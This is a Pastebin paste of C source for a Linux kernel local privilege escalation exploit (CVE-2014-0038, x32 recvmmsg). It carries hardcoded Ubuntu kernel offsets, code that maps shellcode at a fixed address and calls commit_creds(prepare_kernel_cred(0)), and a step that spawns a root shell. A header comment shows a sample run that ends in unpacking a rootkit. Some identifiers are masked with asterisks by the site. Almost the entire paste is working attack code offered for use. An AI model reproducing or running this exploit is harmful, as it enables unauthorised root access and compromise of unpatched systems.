unknowns-mm

3.4+.c

Sep 30th, 2016
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.20 KB | None | 0 0
  1. /*
  2. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
  3. recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
  4. CVE-2014-0038 / x32 ABI with recvmmsg
  5. by rebel @ irc.smashthestack.org
  6. -----------------------------------
  7.  
  8. takes about 13 minutes to run because timeout->tv_sec is decremented
  9. once per second and 0xff*3 is 765.
  10.  
  11. some things you could do while waiting:
  12.   * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  13.   * brew some coffee
  14.   * stare at the countdown giggly with anticipation
  15.  
  16. could probably whack the high bits of some pointer with nanoseconds,
  17. but that would require a bunch of nulls before the pointer and then
  18. reading an oops from dmesg which isn't that elegant.
  19.  
  20. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
  21.  
  22. hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
  23. anyway..
  24.  
  25. same principle will work on 32bit but I didn't really find any major
  26. distros shipping with CONFIG_X86_X32=y
  27.  
  28. user@ubuntu:~$ u**** -a
  29. Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  30. user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
  31. user@ubuntu:~$ ./recvmmsg
  32. byte 3 / 3.. ~0 secs left.    
  33. w00p w00p!
  34. # id
  35. uid=0(root) gid=0(root) groups=0(root)
  36. # sh phalanx-2.6b-x86_64.sh
  37. unpacking..
  38.  
  39. :)=
  40.  
  41. greets to my homeboys kaliman, beist, capsl & all of #social
  42.  
  43. Sat Feb  1 22:15:19 CET 2014
  44. % rebel %
  45. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
  46. */
  47.  
  48. #define _GNU_SOURCE
  49. #include <netinet/ip.h>
  50. #include <stdio.h>
  51. #include <stdlib.h>
  52. #include <string.h>
  53. #include <sys/socket.h>
  54. #include <unistd.h>
  55. #include <sys/syscall.h>
  56. #include <sys/mman.h>
  57. #include <sys/types.h>
  58. #include <sys/stat.h>
  59. #include <fcntl.h>
  60. #include <sys/uts****.h>
  61.  
  62. #define __X32_SYSCALL_BIT 0x40000000
  63. #undef __NR_recvmmsg
  64. #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
  65. #define VLEN 1
  66. #define BUFSIZE 200
  67.  
  68. int port;
  69.  
  70. struct offset {
  71.     char *kernel_version;
  72.     unsigned long dest; // net_sysctl_root + 96
  73.     unsigned long original_value; // net_ctl_permissions
  74.     unsigned long prepare_kernel_cred;
  75.     unsigned long commit_creds;
  76. };
  77.  
  78. struct offset offsets[] = {
  79.     {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
  80.     {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
  81.     {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
  82.     {NULL,0,0,0,0}
  83. };
  84.  
  85. void udp(int b) {
  86.     int sockfd;
  87.     struct sockaddr_in servaddr,cliaddr;
  88.     int s = 0xff+1;
  89.  
  90.     if(fork() == 0) {
  91.         while(s > 0) {
  92.             fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
  93.             sleep(1);
  94.             s--;
  95.             fprintf(stderr,".");
  96.         }
  97.  
  98.         sockfd = socket(AF_INET,SOCK_DGRAM,0);
  99.         bzero(&servaddr,sizeof(servaddr));
  100.         servaddr.sin_family = AF_INET;
  101.         servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
  102.         servaddr.sin_port=htons(port);
  103.         sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
  104.         exit(0);
  105.     }
  106.  
  107. }
  108.  
  109. void trigger() {
  110.     open("/proc/sys/net/core/somaxconn",O_RDONLY);
  111.  
  112.     if(getuid() != 0) {
  113.         fprintf(stderr,"not root, ya blew it!\n");
  114.         exit(-1);
  115.     }
  116.  
  117.     fprintf(stderr,"w00p w00p!\n");
  118.     system("/bin/sh -i");
  119. }
  120.  
  121. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  122. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  123. _commit_creds commit_creds;
  124. _prepare_kernel_cred prepare_kernel_cred;
  125.  
  126. // thx bliss
  127. static int __attribute__((regparm(3)))
  128. getroot(void *head, void * table)
  129. {
  130.     commit_creds(prepare_kernel_cred(0));
  131.     return -1;
  132. }
  133.  
  134. void __attribute__((regparm(3)))
  135. trampoline()
  136. {
  137.     asm("mov $getroot, %rax; call *%rax;");
  138. }
  139.  
  140. int main(void)
  141. {
  142.     int sockfd, retval, i;
  143.     struct sockaddr_in sa;
  144.     struct mmsghdr msgs[VLEN];
  145.     struct iovec iovecs[VLEN];
  146.     char buf[BUFSIZE];
  147.     long mmapped;
  148.     struct uts**** u;
  149.     struct offset *off = NULL;
  150.  
  151.     u****(&u);
  152.  
  153.     for(i=0;offsets[i].kernel_version != NULL;i++) {
  154.         if(!strcmp(offsets[i].kernel_version,u.release)) {
  155.             off = &offsets[i];
  156.             break;
  157.         }
  158.     }
  159.  
  160.     if(!off) {
  161.         fprintf(stderr,"no offsets for this kernel version..\n");
  162.         exit(-1);
  163.     }
  164.  
  165.     mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
  166.     mmapped &= 0x000000ffffffffff;
  167.  
  168.         srand(time(NULL));
  169.     port = (rand() % 30000)+1500;
  170.  
  171.     commit_creds = (_commit_creds)off->commit_creds;
  172.     prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
  173.  
  174.     mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  175.  
  176.     if(mmapped == -1) {
  177.         perror("mmap()");
  178.         exit(-1);
  179.     }
  180.  
  181.     memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
  182.  
  183.     memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
  184.  
  185.     if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
  186.         perror("mprotect()");
  187.         exit(-1);
  188.     }
  189.      
  190.     sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  191.     if (sockfd == -1) {
  192.         perror("socket()");
  193.         exit(-1);
  194.     }
  195.  
  196.     sa.sin_family = AF_INET;
  197.     sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  198.     sa.sin_port = htons(port);
  199.  
  200.     if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
  201.         perror("bind()");
  202.         exit(-1);
  203.     }
  204.  
  205.     memset(msgs, 0, sizeof(msgs));
  206.  
  207.     iovecs[0].iov_**** = &buf;
  208.     iovecs[0].iov_len = BUFSIZE;
  209.     msgs[0].msg_hdr.msg_iov = &iovecs[0];
  210.     msgs[0].msg_hdr.msg_iovlen = 1;
  211.  
  212.     for(i=0;i < 3 ;i++) {
  213.         udp(i);
  214.         retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
  215.         if(!retval) {
  216.             fprintf(stderr,"\nrecvmmsg() failed\n");
  217.         }
  218.     }
  219.  
  220.     close(sockfd);
  221.  
  222.     fprintf(stderr,"\n");
  223.  
  224.     trigger();
  225. }
Add Comment
Please, Sign In to add comment